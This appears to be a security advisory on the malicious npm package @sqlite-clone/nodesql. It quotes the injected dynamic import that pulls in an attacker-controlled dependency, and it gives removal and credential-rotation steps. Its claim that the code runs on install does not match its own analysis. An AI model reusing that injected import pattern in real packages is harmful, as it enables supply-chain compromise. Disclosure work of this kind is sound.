@sqlite-clone/nodesqlnpm
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@sqlite-clone/nodesql is a confirmed malicious npm package (MAL-2026-10577) that executes malicious code on install (malicious version 1.0.2). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in @sqlite-clone/nodesql (npm)
What this malware does
The package is published as @sqlite-clone/nodesql but its shipped index.js is a verbatim copy of the well-known feross/buffer polyfill with a single injected top-level statement: var ins = import('@sqlite-panel/createsql');. This dynamic import fires whenever a consumer requires or imports the package, transitively loading and executing whatever code the sibling scoped package @sqlite-panel/createsql ships. The package name, keywords ('node','sql'), README (titled 'bare-stream' and instructing users to npm i @sql-access/nods), and actual code body (buffer polyfill) do not agree with each other, and the declared dependency lives under a third, unrelated scope — a lure/cover-story shape rather than a legitimate library. The buffer-polyfill body serves as camouflage: the tarball has no direct network I/O of its own; the entire supply-chain effect is delivered through the transitively pulled attacker-controlled dependency.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Malicious packageFind it
Search your lockfiles and build artifacts for @sqlite-clone/nodesql (version 1.0.2).
If you installed it — respond
Remove @sqlite-clone/nodesql from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.
Did it already run?
If @sqlite-clone/nodesql was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
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- Amazon Inspector · finder
Detect & block this
O3 blocks @sqlite-clone/nodesql-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.